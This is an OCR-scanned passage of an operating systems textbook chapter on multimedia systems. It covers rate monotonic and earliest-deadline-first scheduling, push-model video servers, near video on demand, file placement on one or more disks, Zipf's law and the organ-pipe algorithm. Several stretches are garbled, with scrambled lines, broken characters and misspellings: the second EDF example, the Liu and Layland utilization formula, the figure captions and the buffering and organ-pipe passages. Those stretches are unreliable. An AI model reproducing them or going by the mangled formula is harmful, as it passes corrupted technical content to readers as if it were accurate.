In F�g. 7-14, initially all three processes are ready to run. The highest priority 
one, A, IS chosen, and allowed to run until it completes at 15 msec, as shown in 
the RMS line. After it finishes, B and C are run in that order. Together, these 
pr�cesses

. 
take 30 msec to run, so when C finishes, it is time for A to run again. 

This rotation goes on until the system goes idle at t = 70. 
At t = 80, B becomes ready and runs. However, at t = 90, a higheer priority 

process, A, becomes ready, so it preempts B and runs until it is finished at 
t = 100. At that point the system can choose between finishing B or starting C, so 
it chooses the highest priority process, B. 

7.5.4 Earliest Deadline First Scheduling 

Another popular real-time scheduling algOrithm is Earliest Deadline First. 
EDF is a dynamic

. 
algorithm that does not require processes to be periodic, as does 

the rate monotomc algorithm. Nor does it require the same run time per CPU 
burst, as �oes �S. Whenever a process needs CPU time, it announces its pres
ence and its deadlme. The scheduler keeps a list of runnable processes, sorted on 
deadline. The algorithm runs the first process on the list, the one with the closest 
deadline. Whenever a new process becomes ready, the system checks to see if its 
deadline occurs before that of the currently running process. If so, the new proc
ess preempts the current one. 

An example of EDF is given in Fig. 7-14. Initially all three processes are 
ready. �ey are run in the order of their deadlines. A must finish by t = 30, B 
must fimsh by t = 40, and C must finish by t = 50, so A has the earliest deadline 
and thus goes first. Up until t = 90 the choices are the same as RMS. At t = 90, A 
becomes ready again, and its deadline is t = 120, the same as B's deadline. The 
scheduler could legitimately choose either one to run, but since preempting B has 
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- d °th it it is better to let B continue to run rather 
some nonzero cost aSSo�lat� Wl , 

than inc�r the cos� of SWlt
�:tS and EDF always give the same results, let us now 

To d,spel the idea tha . Fig 7-15 In this example the periods of A, E, 
th ample shown m I . . . look at anO er ex • 

b A needs 15 rosec of CPU time per burst m-
d C th me as before ut now . . . an are e sa 

e' schedulability test computes the CPU Utlh�atlOn as 
stead of only 10 m:��.

= �h
975. Only 2.5% of the CPU is left over, but m theory 

0.500 + 0.375 + O. . d d 't should be possible to find a legal schedule. the CPU is not oversubscnbe an 1 
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Figure 7-15. Another example ofrealwtime scheduling with RMS and EDF. 

. . '( es of the three processes are still 33, 25, and 20 as only 
With &\18, the pnon 1 . This time Bl does not fmish until t -= 30, at . d tt IS not the run tIme. , . d the peno rna _ e , 

n '  By the time A is finished, at t =: 45, B IS rea y 
which time A IS read?" to ro . a��nfuan C it runs and C misses its deadline. R.1\1S 
again, so having a higher pnon Y , 

fails. 
F handles this case. At t = 30, there is a contest between 

Now look at how ED, d dl' is 50 and A2's deadline is 60, C is scheduled. 
A2 d C1 Because C1 s ea me 

. 
a� . ' S where A's higher priority wins. 

This IS dIfferent from RM , 
d f the fourth time. A's deadline is the same as 

At t = 90 A becomes r
�;J)) 

0;0 the scheduler has a choice of preempting or 
that of the curre�t process t t ' preempt if it is not needed, so B3 is allowed to 
not. As before, It IS better no 0 
complete. 

fF 7-15 the CPU is 100% occupied up to t = 150. Row-
In the example 0 �1il occ�r because the CPU is only 97 .5% u�lized. Since 

ever, eventually a gap . . mult,'pIes of 5 msec the gap wlll be 5 msec. 
th artl· 0 and endmo tImes are ' all e st n", . 

t:> • d 2 50A idle time the 5 msec gap will have to occur 
In order to achIeve the reqUlre . 0 ' . . 5 

200 which is why it does not show up m FIg. 7-1 . 
every msec, 
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An interesting question is why RMS failed. Basically, using static priorities 
only works if the CPU utilization is not too high. Liu and Layland (1973) proved 
that for any system of periodic processes, if 

m C. L -'- ;;; m(211m - 1) 
i""I Pi 

then R.t\1S is guaranteed to work. For 3, 4, 5, 10, 20, and 100, the maximum per
mitted utilizations are 0.780, 0.757, 0.743, 0.718, 0.705, and 0.696. As m ...., =, 
the maximum utilization is asymptotic to In 2. In other words, Liu and Layland 
proved that for three processes, RMS always works if the CPU utilization is at or 
below 0.780. In our first example, it was 0.808 and RMS worked, but we were 
just lucky. With different perio<;ls and run times, a utilization of 0.808 might fail. 
In the second example., the CPU utilization was so high (0.975), there was no 
hope that RMS could work. 

In contrast, EDF always works for any schedulable set of processes. It can 
achieve 100% CPU utilization. The price paid is a more complex algorithm. 
Thus in an actual video server, if the CPU utilization is below the RMS limit, 
RMS can be used. Otherwise EDF should be chosen. 

7.6 MULTIMEDIA FILE SYSTEM PARADIGMS 

Now that we have covered process scheduling in multimedia systems, let us 
continue our study by looking at multimedia file systems. These file systems use 
a different paradigm than traditional file systems. We will first review traditional 
file UO, then turn our attention to how multimedia file servers are organized. To 
access a file, a process first issues an open system calL If this succeeds, the caller 
is given some kind of token, called a fIle descriptor in UNIX or a handle in Win
dows to be used in future calls. At that point the process can issue a read system 
call, providing the token, buffer address, and byte count as parameters. The oper
ating system then returns the requested data in the buffer. Additional read calls 
can then be made until the process is finished, at which time it calls close to close 
the file and return its resources. 

This model does not work well for multimedia on account of the need for 
real-time behavior. It works especially poorly for displaying multimedia files 
coming off a remote video server. One problem is that the us.er must make the 
read calls fairly precisely spaced in time. A second problem is that the video ser
ver must be able to supply the data blocks without delay, something that is diffi
cult for it to do when the requests come in unplanned and no resources have been 
reserved in advance. 

To solve these problems, a completely different paradigm is used by multi
media file servers: they act like VCRs (Video Cassette Recorders). To read a 
multimedia fIle, a user process issues a start system call, specifying the file to be 
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read and various other parameters, for example, which audio and
,
subtitle trac� to 

use. The video server then begins sending out frames at the reqUIred rate. I� IS up 

to the user to handle them at the rate they come in. If the user gets bored with the 

movie the stop system call terminates the stream. File servers with this stream

ing m�del are often called push servers (because they push data at the user) a�d 

are contrasted with traditional pull servers where the user has to pull the data m 

one block at a time by repeatedly calling read to get one block after another. The 

difference between these two models is illustrated in Fig. 7-16. 

Video Video 
server Client 

server Client 

� � 
BloCk 1 

- BloCk. 1 --
-

BloCk 2 

� -
• 
� Block 3 

t � -

BIO(;k 4 
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_ B/ock3 -
-

(a) 
(b) 

Figure 7-16. (a) A pull server. (b) A push server. 

7.6.1 VCR Control Functions 

Most video servers also implement standard VCR control functions, including 

pause, fast forward, and rewind. Pause is f�irly straightfo�ard. The user send� a 

message back to the video server that tens It to stop. All It has to do at that pomt 

is remember which frame goes out next. When the user tells the server to resume, 

it just continues from where it left off. . 
However there is one complication here, though. To achIeve acceptable per

formance, th� server may reserve resources such as disk bandwidt� and me�ory 

buffers for each outgoing stream. Continuing to tie these up while a mOVIe IS 
. ·f h 

. 1 
. tn· t the kitchen to 

paused wastes resources, especIally 1 t e user IS p annmg a p 0 
locate microwave cook, and eat a frozen pizza (especially an extra large). The 

" . b h· · duces the 
resources can easily be released upon pausmg, of course, ut t. IS mtro 

danaer that when the user tries to resume, they cannot be reacquued. 

True rewind is actually easy, with no complications. All the server has to do 

is note that the next frame to be sent is O. What could be easier? However, fast 

SEC. 7.6 MULTIMEDIA FILE SYSTEM PARADIGMS 493 

forward and fast backward (i.e., playing while rewinding) are much trickier. If it 
were not for compression, one way to go forward at lOx speed would be to just 
display every 10th frame. To go forward at 20x speed would require displaying 
every 20th frame. In fact, in the absence of compression, going forward or back
ward at any speed is easy. To run at k times normal speed, just display every k-th 
frame. To go backward at k times normal speed, do the same thing in the other 
direction. This approach works equally well for both pull servers and push ser
vers. 

CompreSSion makes rapid motion either way more complicated. With a cam
corder DV tape, where each frame is compressed independently of aU the others, 
it is possible to use this strategy, provided- that the needed frame can be found 
quickly. Since each frame compresses by a different amount, depending on its 
content, each frame is a different size, so skipping ahead k frames in the file can
not be done by doing a numerical calculation. Furthermore, audio compression is 
done independently of video compression, so for each video frame displayed in 
high-speed mode, the correct audio frame must also be located (unless sound is 
turned off when running faster than nonnal). Thus fast forwardincr a DV file re
quires an index that allows frames to be located quickly, but it is at''teast doable in 
theory. 

With MPEG, this scheme does not work, even in theory, due to the use of 1-, 
P-, and B-frames. Skipping ahead k frames (assuming that can be done at all), . 
might land on a P-frame that is based on an I-frame that was just skipped over. 
Without the base frame, having the incremental changes from it (which is what a 
P-frame contains) is useless. MPEG requires the file to be played sequentially. 

Another way to attack the problem is to actually try to play the file sequential
ly at lOx speed. However, doing this requires pulling data off the disk at lOx 
speed. At that point, the server could try to decompress the frames (something it 
normally does not do), figure out which frame is needed, and recompress every 
10th frame as an I-frame. However, doing this puts a huge load on the server. It 
also requires the server to understand the compression format, something it nor
mally does not have to know. 

The alternative of actually shipping all the data over the network to the user 
and letting the correct frames be selected out there requires running the network at 
lOx speed, possibly doable, but certainly not easy given the high speed at which it 

normally has to operate. 
All in all, there is no easy way out. The only feasible strategy requires ad

vance planning. What can be done is build a special file containing, say, every 
10th frame, and compress this file using the normal lvIPEG_ algorithm. This file is 
what is shown in Fig. 7-3 as "fast forward." To switch to fast forward mode, what 
the server must do is figure out where in the fast forward file the user currently is. 
For example, if the current frame is 48,210 and the fast forward file runs at lOx, 
the server has to locate frame 4821 in the fast forward file and start playing there 
at normal speed. Of course, that frame might be a P- or B-frame, but the decoding 
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process at the client can just s�P frames until it �ees an I-frame. Going backward 
is done in an analogous way usmg a second specially prepared file. 

. When the user switches back to normal speed, the reverse tnek has to be 
done. If the current frame in the fast forward file is 5734, the server just switches 
back to the regular file and continues at frame 57,340. Again, if this frame is not 
an I-frame, the decoding process on the client side has to ignore all frames until 
an I-frame is seen. 

While having these two extra files does the job, the approach has some disad-
vantages. First, some extra disk space is required to store the additional files. 
Second, fast forwarding and rewinding can only be done at speeds corresponding 
to the special files. Third, extra complexity is needed to switch back and forth be
tween the regular, fast forward, and fast backward files. 

7.6.2 Near Video on Demand 

Having k users getting the same movie puts essentially the same load on the 
server as having them getting k different movies. However, with a small change 
in the model, great performance gains are possible. The problem with video on 
demand is that users can start streaming a movie at an arbitrary moment, so if 
there are 100 users all starting to watch some new movie at about 8 P.M., chances 
are that no two will start at exactly the same instant so they cannot share a stream. 
The change that makes optimization possible is to tell all users that movies only 
start on the hour and every (for example) 5 minutes thereafter. Thus if a. user 
wants to see a movie at 8:02, he will have to wait unti1 8:05. 

The gain here is that for a 2-hour movie, only 24 streams are needed, no mat
ter how many customers there are. As shown in Fig. 7-17, the first stream starts at 
8:00. At 8:05, when the first stream is at frame 9000, stream 2 starts. At 8:10, 
when the first stream is at frame 18,000 and stream 2 is at frame 9000, stream 3 
starts, and so on up to stream 24, which starts at 9:55. At 10:00, stream 1 termi
nates and starts all over with frame O. This scheme is called near video on de
mand because the video does not quite start on demand, but shortly thereafter. 

The key parameter here is how ofte!1 a stream starts. If one starts every 2 
minutes, 60 streams will be needed for a two-hour movie, but the maximum wait
ing time to start watching will be 2 minutes. The operator has to decide how long 
people are willing to wait because the longer they are willing to wait, the more ef
ficient the system, and the more movies can be shown at once. An alternative 
strategy is to also have a no-wait option, in which case a new stream is started on 
the spot, but to charge more for instant startup. 

In a sense, video on demand is like using a taxi: you call it and it comes. Near 
video on demand is like using a bus: it has a fixed schedule and you have to wait 
for the next one. But mass transit only makes sense if there is a mass. In mid
town Manhattan, a bus that runs every 5 minutes can count on picking up at least 
a few riders. A bus traveling on the back roads of Wyoming might be empty 
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Stream 
o IT] 1 9000 I 1180001 1270001 1360001 1450001 1540001 1630001 1720001 1810001 IT] 1 9000 I 1180001 1270001 1360001 1450001 1540001 1630001 Inoool 
2 IT] 1 9000 I 1180001 1270001 1360001 1<50001 1540001 1630001 
3 IT] 1 9000 1 1180001 1270001 1360001 1450001 1540001 
4 /IT] 1 9000 I 1180001 1270001 1360001 1450001 Frame 9000 in 
5 stream 3 is sent IT] 1 9000 I 1180001 1270001 1360001 a1 8:20 min 
6 IT] 1 9000 I 1180001 1270001 
7 IT] 1 9000 I 1'80001 
8 IT] 1 9000 I 
9 IT] 8:00 8:05 8:10 8:15 8:20 8:25 8:30 8:35 8:40 8:45 

Time ___ 

Figu�e 7-!7. Near video on demand has a new stream starting at regular inter-vals, In thIS example every 5 minutes (9000 frames). 

nearly all the time. Similarly, starting the latest Steven Spielberg release mioht attract e�ough cu
.
stoz:ner� to warrant starting a new stream every 5 minutes, but for Gone wtth the Wind It nnght be better to simply offer it on a demand basis With ne� video on demand, users do not have VCR controls. No �ser can pause a mOVIe to make a trip to the kitchen. The best that can be done is upon retum�ng from th� kitchen, to drop back to a stream that started later, thereby repeatmg a few mmutes of materiaL 

Act�ally: there is another model for near video on demand as well. Instead of announcmg m 
.
advance that some specific movie will start every 5 minutes, people can �rder mOVIes whenever they want to. Every 5 minutes, the system sees which mO�Ies h�ve been ordered and starts those. With this approach, a movie may start at 8.00, 8.10, 8:15, and 8:25, .but not

.
at the intermediate times, depending on dem�nd. As a result, streams WIth no Viewers are not transmitted, saving disk bandWIdth, n:-emory, and network capacity. On the other hand, attacking the freezer is now

. 
a bit of a �amble as there i� no guarantee that there is another stream running 5 nu?utes behl.nd the one the VIewer was watching. Of course, the operator can prOVIde an optlon for the user to display a list of all concurrent streams but most people �ink their TV remote controls have more than enough buttons akeady and are not lIkely to enthusiastically welcome a few more. 



496 MULTIMEDIA OPERATING SYSTEMS CHAP. 7 

7.6.3 Near Video on Demand with VCR Fnnctions 

The ideal combination would be near video on demand (for the efficiency) 

plus full VCR controls for every individual viewer (for the user's convenience). 

With slight modifications to the model, such a design is possible. Below we will 

give a slightly simplified description of one way to achieve this goal (Abram

Profeta and Shin, 1998). 

We start Qut with the standard near video-on-demand scheme of Fig. 7-17. 

However, we add the requirement that each client machine buffer the previous tlT 

min and also the upcoming llT min locally. Buffering the previous llT min is 

easy: just save it after displaying it. Buffering the upcoming AT min is harder, but 

can be done if clients have the ability to read two streams at once. 

One way to get the buffer set up can be illustrated using an example. If a user 

starts viewing at 8:15, the client machine reads and displays the 8:15 stream 

(which is at frame 0). In parallel, it reads and stores the 8: 10 stream, which is cur

rently at the 5-min mark (i.e., frame 9000). At 8:20, frames 0 to 17,999 have been 

stored and the user is expecting to see frame 9000 next. From that point on, the 

8:15 stream is dropped, the buffer is fined from the 8 :10 stream (which is at 

18,000), and the display is driven from the middle of the buffer (frame 9000). As 

each new frame is read, one frame is added to the end of the buffer and one frame 

is dropped from the beginning of the buffer. The current frame being displayed, 

called the play point, is always in the middle of the buffer. The situation 75 min 

into the movie is shown in Fig. 7-18(a). Here all frames between 70 min and 80 

min are in the buffer. If the data rate is 4 Mbps, a 10-min buffer requires 300 mil

lion bytes of storage. With current prices, the buffer can certainly be kept on disk 

and possibly in RAM. If RAM is desired, but 300 million bytes is too much, a 

smaller buffer can be used. 

Now suppose that the user decides to fast forward or fast reverse. As long as 

the play point stays within the range 70--80 min, the display can be fed from the 

buffer. However, if the play point moves outside that interval either way, we have 

a problem. The solution is to tum on a private (i.e., video-on-demand) stream to 

service the user. Rapid motion in either direction can be handled by the techni

ques discussed earlier. 
Nonnally, at some point the user will settle down and decide to watch the 

movie at nonnal speed again. At this point we can think about migrating the user 

over to one of the near video-on-demand streams so the private stream can be 

dropped. Suppose, for example, that the user decides to go back to the 12 min 

mark, as shown in Fig. 7-18(b). This point is far outside the buffer, so the display 

cannot be fed from it. Furthermore, since the switch happened (instantaneously) 

at 75 min, there are streams showing the movie at 5, 10, 15, and 20 min, but none 

at 12 min. 
The solution is to continue viewing on the private stream, but to start filling 

the buffer from the stream currently 15 minutes into the movie. After 3 minutes, 
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�igure :�18. (a) Initial situation. (b) After a rewind to 12 min (c) After wait
mg 3 mm. (d) After starting to refill the buffer. (e) Buffer full. 

. 

:�situation
. 

is a� depicted in Fig. 7-18(c). The play pOint is now 15 min the 
u er contams �mutes 15 to 18, and the near video-on-demand streams are 

'
at 8 

13, 18, a�d 23 rmn, among others. At this point the private stream can be dro ed :d the dIsplay can be fed from the buffer. The buffer continues to be filled :m 
e stream now at 18 mm. After another minute the la oint ' 6 

. 

b
h
uffer �ont�ins minutes 15 to 19, and the stream fe�ding�: b�ffer i� a� l:U�� t�: 

s � m � �l� 
, 

. 
�ter an ad?-itional 6 minutes have gone by, the buffer is full and the la 

POIn
b
t IS at 22 nu�. The play pOint is not in the middle of the buffer although 

P
th?t 

can e arranged If necessary. 
' 

7.7 FILE PLACEMENT 

. 
Multimedia files are very large, are often written only 

-��ce but read man h:�:� and tend to be accessed sequentially. Their playback must also meet StriZt 
q Y of servIce cnt�:ta. Together, these requirements suggest different file s s

�em layouts than tradItIOnal operating systems use. We will discuss some of th�se 
issues below, first for a single disk, then for multiple disks. 
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7.7.1 Placing a File on a Single Disk 

The most important requirement is that data can be streamed to the network or 
output device at the requisite speed and without jitter. For this reason, having 
multiple seeks during a frame is highly undesirable. One way to eliminate intra
file seeks on video servers is to use contiguous files. Nonnally, having files be 
contiguous does not work well, but on a video server that is carefully preloaded in 
advance with movies that do not change afterward, it can work. 

One complication, however, is the presence of video, audio, and text, as 
shown in Fig. 7-3. Even if the video, audio, and text are each stored as separate 
contiguous files, a seek will be needed to go froro the video file to an audio file 
and from there to a text file, if need be. This suggests a second possible storage 
arrangement, with the video, audio, and text interleaved as shown in Fig. 7-19, but 
the entire file still contiguous. Here, the video for frame 1 is directly followed by 
the various audio tracks for frame 1 and then the various text tracks for frame 1. 
Depending on how many audio and text tracks there are, it may be simplest just to 
read in all the pieces for each frame in a single disk read operation and only trans
mit the needed parts to the user. 

Video 

Frame 1 
A 

Audio Text 
track track 

If 
Video 

Frame 2 A. lf 
Video 

Frame 3 A 

Figure 7-19. Interleaving video, audio, and text in a single contiguous file per 
movie. 

This organization requires extra disk I/O for reading in unwanted audio and 
text, and extra buffer space in memory to store them. However, it eliminates all 
seeks (on a single-user system) and does not require any overhead for keeping 
track of which frame is where on the disk since the whole movie is in one contigu
ous file. Random access is impossible with this layout, but if it is not needed, its 
loss is not serious. Similarly, fast forward and fast backward are impossible with
out additional data structures and complexity. 

The advantage of having an entire movie as a single contiguous file is lost on 
a video server with multiple concurrent output streams because after reading a 
frame from one movie, the disk will have to read in frames from many other mov
ies before coming back to the first one. Also, for a system in which movies are 
being written as well as being read (e.g., a system used for video prOduction or 
editing), using huge contiguous files is difficult to do and not that useful. 
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7.7.2 Two Alternative File Organization Strategies 

!hese observations lead to two other file placement organizations for multi
medIa files.. The �rst .of these, . the small block model, is illustrated in Fig. 7-
20(a). In thIS orgafllzatlOn, the disk block size is chosen to be considerably smal
ler than the average, frame size, even for P-frames and B-frames. For MPEG-2 at 
4 Mbps with 30 frames/sec, the average frame is 16 KB, so a block size of 1 KB 
?r 2 KB would work well The idea here is to have a data structure, the frame 
mdex, per movie with one entry for each frame pointing to the start of the frame. 
Each frame itself consists of all the video, audio, and text tracks for that frame as 
a contiguous run of disk blocks, as shown. In this way, reading frame k consists 
of indexing into the frame index to find the k-tb entry, and then reading in the en
tire frame in one disk operation. Since different frames have different sizes the 
frame size (in blocks) is needed in the frame index, but even with l-KB 'disk 
blocks, an 8-bit field can handle a frame up to 255 KB, which is enough for an 
uncompressed NTSC frame, even with many audio tracks. 

Frame 
Index 

Disk block smaller 
than frame 

t 
o::::rrm 
I IH!iI 
[]'Ig Audio IIIl!I t Text 

ITJlIj/ 
IIDI 

(a) 

Block 
Index 

Disk block larger 
than frame t 

11m hrlll I 11m II!WJ 
I·frame P-frame t Unused 

(b) 

Figure 7·20. Noncontiguous movie storage. (a) Small disk blocks. (b) Large 
disk blocks. 

The other way to store the movie is by using a large disk block (say 256 KB) 
and putting multiple frames in each block, as shown in Fig. 7-20(b). An index is 
still needed, but now it is a block index rather than a frame index. The index is, in 
fact, basically the same as the i-node of Fig. 6-15, possibly with the addition of 
information telling which frame is at the beginning of each block to make it 
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Yet another factor here is that disk storage management is more complicated 
In Fig. 7-20(a) because storing a frame requires finding a consecutive run of 
blocks the right size. Ideally, this run of blocks should not cross a disk track 
boundary, but with head skew, the loss is not serious. Crossing a cylinder boun
dary should be avoided, however. These requirements mean that the disk's free 
storage has to be organized as a list of variable-sized holes, rather than a simple 
block list or bitmap, both of which can be used in Fig. 7-20(b). 

In all cases, there is much to be said for putting all the blocks or frames of a 
movie within a narrow range, say a few cylinders, where possible. Such a place
ment means that seeks go faster so that more time will be left over for other 
(nonreal-time) activities or for supporting additional video streams. A constrained 
placement of this sort can be achieved by dividing the disk into cylinder groups 
and for each group keeping separate lists or bitmaps of the free blocks. If holes 
are used, for example, there could be one list for l-KB holes, one for 2-KB holes, 
one for holes of 3 KB to 4 KB, another for holes of size 5 KB to 8 KB, and so on. 
In this way it is easy to find a hole of a given size in a given cylinder group. 

Another difference between these two approaches is buffering. With the 
small-block approach, each read gets exactly one frame. Consequently, a simple 
double buffering strategy works fine: one buffer for playing back the current 
frame and one for fetching the next one. If fixed buffers are used, each buffer has 
to be large enough for the biggest possible I-frame. On the other hand� if a dif
ferent buffer is allocated from a pool on every frame, and the frame size is known 
before the frame is read in, a small buffer can be chosen for a P-frame or B-frame. 

With large blocks, a more complex strategy is required because each block 
contains multiple frames, possibly including fragments of frames on each end of 
the block (depending on which option was chosen earlier). If displaying or trans
mitting frames requires them to be contiguous, they must be copied, but copying 
is an expensive operation so it should be avoided where possible. If contiguity is 
not required, then frames that span block boundaries can be sent out over the net
work or to the display device in two chunks. 

Double buffering can also be used with large blocks, but using two large 
blocks wastes memory. One way around wasting memory is to have a circular 
transmission buffer slightly larger than a disk block (per stream) that feeds the 
network or display. When the buffer's contents drop below some threshold, a new 
large block is read in from the disk, the contents copied to the transmission buffer, 
and the large block buffer returned to a common pool. The circular buffer's size 
must be chosen so that when it hits the threshold, there is room for another full 
disk block. The disk read cannot go directly to the transmission buffer because it 
might have to wrap around. Here copying and memory usage are being traded off 
against one another. 

Yet another factor in comparing these two approaches is disk performance. 
Using large blocks runs the disk at full speed, often a major concern. Reading in 
little P-frames and B-frames as separate units is not efficient. In addition, striping 
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secutively on one disk track, the video server can satisfy all 24 streams in reverse 
order with only one seek (to frame 0). Of course, the frames can be reversed on 
the disk if there is some reason to service the streams in ascending order. After 
the last stream has been serviced, the disk ann can move to track 2 to prepare ser
vicing them all again. This scheme does not require the entire file to be contigu
ous, but still affords good performance to a number of streams at once. 

A simple buffering strategy is to use double buffering. While one buffer is 
being played out onto 24 streams, another buffer is being loaded in advance. 
When the current one finishes, the two buffers are swapped and the one just used 
for playback is now loaded in a single disk operation . 

An interesting question is how large to make the buffer. Clearly, it has to 
hold 24 frames. However, since frames are variable in size, it is not entirely trivi
al to pick the right size buffer. Making the buffer large enough for 24 I-frames is 
overkill, but making it large enough for 24 average frames is living dangerously. 

Fortunately, for any given movie, the largest track (in the sense of Fig. 7-21) 
in the movie is known in advance, so a buffer of precisely that size can be chosen. 
However, it might just happen that in the biggest track, there are, say, 16 I-frames, 
whereas the next biggest track has only nine I-frames. A decision to choose a 
buffer large enough for the second biggest case might be wiser. Making this 
choice means truncating the biggest track, thus denying some streams one frame 
in the movie. To avoid a glitCh, the previous frame can be redisplayed. No one 
will notice this. 

Taking this approach further, if the third biggest track has only four I-frames, 
using a buffer capable of holding four I-frames and 20 P-frames is worth it. Intro
ducing two repeated frames for some streams twice in the movie is probably ac
ceptable. Where does this end? Probably with a buffer size that is big enough for 
99% of the frames. There is a trade-off here between memory used for buffers 
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and quality of the movies. Note that the more simultaneous streams there are, the 
better the statistics are and the more unifonn the frame sets will be. 

7.7.4 Placing Multiple Files on a Single Disk 

So far we have looked only at the placement of a single movie. On a video 
server, there will be many movies, of course. If they are strewn randomly around 
the disk, time will be wasted moving the disk head from movie to movie when 
multiple movies are being viewed simultaneously by different customers. 

This situation can be improved by observing that some movies are more popu
lar than others and taking popularity into account when placing movies on the 
disk. Although little can be said about the popularity of particular movies in gen
eral (other than noting that having big-name stars seems to help), something can 
be said about the relative popularity of movies in genera1. 

For many kinds of popularity contests, such as movies being rented, books 
being checked out of a library, Web pages being referenced, even English words 
being used in a novel or the population of the largest cities, a reasonable approxi
mation of the relative popularity follows a surprisingly predictable pattern. This 
pattern was discovered by a Harvard professor of linguistics, George Zipf (1902-
1950) and is now called Ziprs law. What it states is that if the movies, books, 
Web pages, or words are ranked on their popularity, the probability that the next 
customer will choose the item ranked k-th in the list is Clk, where C is a nor
malization constant. 

Thus the fraction of hits for the top three movies are ell, C/2, and C/3, re
spectively, where C is computed such that the sum of all the tenns is 1 .  In other 
words, if there are N movies, then 

C/1 + C!2 + C/3 + C/4 + . . . + ClN = 1 

From this equation, C can be calculated. The values of C for populations with 10, 
100, 1000, and 10,000 items are 0.341, 0.193, 0.134, and 0.102, respectively. For 
example, for 1000 movies, the probabilities for the top five movies are 0.134, 
0.067, 0.045, 0.034, and 0.027, respectively. 

Zipfs law is illustrated in Fig. 7-22. Just for fun, it has been applied to the 
populations of the 20 largest U.S. cities. Zipf's law predicts that the second larg
est city should have a population half of the largest city and the third largest city 
should be one third of the largest city, and so on. While hardly perfect, it is a 
surprisingly good fit. 

For movies on a video server, Zipfs law states that the most popular movie is 
chosen twice as often as the second most popular movie, three times as often as 
the third most popular movie, and so on. Despite the fact that the distribution falls 
off fairly qUickly at the beginning, it has a long tai1. For example, movie 50 has a 
popularity of C/50 and movie 5 1  has a popularity of C/51, so movie 51 is 50/51 
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Figure ?�22. The curve gives Zipfs law for N =- 20. The squares represent the 
?OpulatlOns of the. 20 largest cities in the U.S., sorted on rank order (New Y<\fk 
IS 1, Los Angeles IS 2, Chicago is 3, etc.). 

as po�ular as movie �O, only about a 2% difference. As One goes out further on 
the tall, the percent difference between consecutive movies becomes less and less 

d
One conclusion !s that �e server needs a lot of movies since there is substantiai 

emand for mOVIes outSIde the top 10. 
Knowing the relative popularities of the different movies makes it possible to �odel the perfonnance of a video server and to USe that information for placino 

lle�. �tudies have sho.wn that the best strategy is surprisingly simple and distri� 
bution Independent. It  IS called the orgaowpipe algorithm (Grossman and Silv _ 
m�n, 1973; and .Wong: 1983). It consists of placing the most popular movie in t�e 
nu�dle of t�e dISk, WIth the second and third most popular movies on either side 
o� It Outsld� of these come numbers four and five, and so on, as shown in ;lg. 7-23. �llls 'placement works best if each movie is a contiguous file of the 
yp� shown In FIg. 7-19, but can also be used to some extent if each movie is COn� 

stramed to a n�ow range of cylinders. The name of the algorithm comes from 
the fact that.a hlsto�ram of th� probabilities looks like a slightlyAopsided organ. 

. What thIS al�onthm do�s IS try to keep the disk head in· the middle of the disk. 
With 1000 �?VIes and a ZlP�S law distribution, the top five movies represent a 
total probability of 0.307, which means that the disk head will stay in the cylin. 
ders an�cated to th� top five movies about 30% of the time, a surprisingly large 
amount If 1000 mOVIes are available. 
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CyUnder-

Figure 7�23. The organ�pipe distribution of files on a video server. 

7.7.5 Placing Files on Multiple Disks 

To get higher performance, video servers often have many disks that can run 

in parallel. Sometimes RAIDs are used, but often not because what RAIDs o�fer 

is higher reliability at the cost of performance. Video servers generally want hIgh 

performance and do not care so much about correcting transient
. 
errors. Also 

RAID controllers can become a bottleneck if they have too many dISks to handle 

at once. 
A more common configuration is simply a large number of disks, some�imes 

referred to as a disk farm. The disks do not rotate in a synchronized way and do 

not contain any parity bits, as RAIDS do. One possible configuration is to put 

movie A on disk 1, movie B on disk 2, and so on, as shown in Fig. 7-24(a). In 
practice, with modern disks several movies can be placed on each disk. . 

This organization is simple to implement and has straightforward fmIure char

acteristics: if one disk fails, all the movies on it become unavailable. Note that a 

company losing a disk full of movies is not nearly as bad as a company losing a 

disk full of data because the movies can easily be reloaded on a spare dIsk from a 

DVD. A disadvantage of this approach is that the load may not be well �alanced. 

If some disks hold movies that are currently much in demand and other dIsks hold 

less popular movies, the system will not be fully utilized. Of course, once the 

usage frequencies of the movies are known, it may be possible to move some of 

them to balance the load by hand. 
A second possible organization is to stripe each movie over multiple disks, 

four in the example of Fig. 7-24(b). Let us assume for the moment that all �am�s 
are the same size (i.e., uncompressed). A fixed number of bytes from mOVIe A IS 
written to disk 1, then the same number of bytes is written to disk 2, and so on 
until the last disk is reached (in this case with unit A3). Then the striping contin
ues at the first disk again with A4 and so on until the entire file has been written. 
At that point movies B, C, and D are striped using the same pattern. 
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Figure 7-24. Four ways of organizing multimedia files over multiple disks. (a)
� 

No striping. (b) Same striping pattern for all files. (c) Staggered striping. (d) 
Random striping. 

A possible disadvantage of this striping pattern is that because all movies start 
on the fIrst disk, the load across the disks may not be balanced. One way to 
spread the load better is to stagger the starting disks, as shown in Fig. 7-24(c). 
Yet another way to attempt to balance the load is to use a random striping pattern 
for each file, as shown in Fig. 7-24(d). 

So far we have assumed that. all frames are the same size. With MPEG-2 
movies, this assumption is false: I-frames are much larger than P-frames. There 
are two ways of dealing with this complication: stripe by frame or stripe by block 
When striping by frame, the fIrst frame of movie A goes on disk 1 as a contiguous 
unit, independent of how big it is. The next frame goes on disk 2, and so on. 
Movie B is striped in a similar way, either starting at the same disk, the next disk 
(if staggered), or a random disk Since frames are read one at a time, this form of 
striping does not speed up the reading of any given movie. However, it spreads 
the load over the disks much better than in Fig. 7-24(a), which may behave badly 
if many people decide to watch movie A tonight and nobody wants movie C. On 
the whole, spreading the load over all the disks makes better use of the total disk 
bandwidth, and thus increases the number of customers that can be served. 

The other way of Striping is by block. For each movie, fixed-size units are 
written on each of the disks in succession (or at random). Each block contains 
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One Or more frames or fragments thereof. The system can now issue reques.ts for 
multiple blocks at once for the same movie. Each request asks to read data mto a 
different memory buffer, but in such a way that when all requests have been com
pleted, a contiguous chunk of the movie (containing many f:3mes) is now assem� 
bled in memory contiguously. These requests can proceed 1TI parallel. When the 
last request has been satisfied, the requesting process can be signaled that the 
work has been completed. It can then begin transmitting the data to the user. A 
number of frames later, when the buffer is down to the last f�w frames, more re
quests are issued to preload another buffer. This approach uses large amounts of 
memory for buffering in order to keep the disks busy. On a system with 1000 ac
tive users and I-MB buffers (for example, using 256-KB blocks on each of four 
disks), 1 GB of RAM is needed for the buffers. Such an amount is small potatoes 
On a lOOO-user server and should not be a problem. 

One final issue concerning striping is how many disks to stripe over. At one 
extreme, each movie is striped over all the disks. For example, with 2-GB movi�s 
and 1000 disks, a block of 2 MB could be written on each disk so that no mOVIe 
uses the same disk twice. At the other extreme, the disks are partitioned into 
small groups (as in Fig. 7-24) and each movie is restricted to a single partition. 
